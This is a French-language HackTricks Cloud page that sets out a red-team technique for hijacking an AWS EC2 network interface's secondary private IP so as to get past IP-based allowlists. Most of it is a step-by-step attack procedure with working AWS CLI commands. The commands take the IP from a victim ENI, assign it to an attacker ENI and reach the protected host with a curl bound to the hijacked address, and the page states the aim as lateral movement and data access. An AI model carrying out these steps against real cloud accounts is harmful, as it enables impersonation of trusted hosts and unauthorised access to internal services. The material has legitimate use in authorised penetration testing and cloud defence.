AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Abuser de ec2:UnassignPrivateIpAddresses et ec2:AssignPrivateIpAddresses pour voler l'IP privée secondaire d'un ENI victime et la déplacer vers un ENI attaquant dans le même subnet/AZ. De nombreux services internes et security groups restreignent l'accès à des IP privées spécifiques. En déplaçant cette adresse secondaire, l'attaquant usurpe l'hôte de confiance au niveau L3 et peut atteindre des services allowlistés.
Prérequis:
- Permissions :
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddressessur l'ARN de l'ENI victime, etec2:AssignPrivateIpAddressessur l'ARN de l'ENI attaquant. - Les deux ENIs doivent être dans le même subnet/AZ. L'adresse cible doit être une IP secondaire (l'IP primaire ne peut pas être désassignée).
Variables:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# SG on a target service that allows only $HIJACK_IP - PROTECTED_HOST=
Étapes:
- Choisir une IP secondaire de l'ENI victime
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- Assurez-vous que l'hôte protégé n'autorise que cette IP (idempotent). Si vous utilisez des règles SG-to-SG à la place, ignorez cette étape.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- État de référence : depuis l'attacker instance, la requête vers PROTECTED_HOST devrait échouer sans spoofed source (p.ex., via SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- Retirer l'IP secondaire de l'ENI de la victime
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Attribuer la même IP à l'ENI de l'attaquant (sur AWS CLI v1 ajoutez
--allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Vérifier que la propriété a été transférée
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- Depuis l'instance attaquante, source-bind sur la hijacked IP pour atteindre l'hôte protégé (assurez-vous que l'IP est configurée sur l'OS ; si ce n'est pas le cas, ajoutez-la avec
ip addr add $HIJACK_IP/<mask> dev eth0)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
Impact
- Contourner les listes d'autorisation d'IP et usurper des hôtes de confiance au sein du VPC en déplaçant les IP privées secondaires entre des ENIs dans le même subnet/AZ.
- Atteindre des services internes qui contrôlent l'accès par des IP source spécifiques, permettant un mouvement latéral et l'accès aux données.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud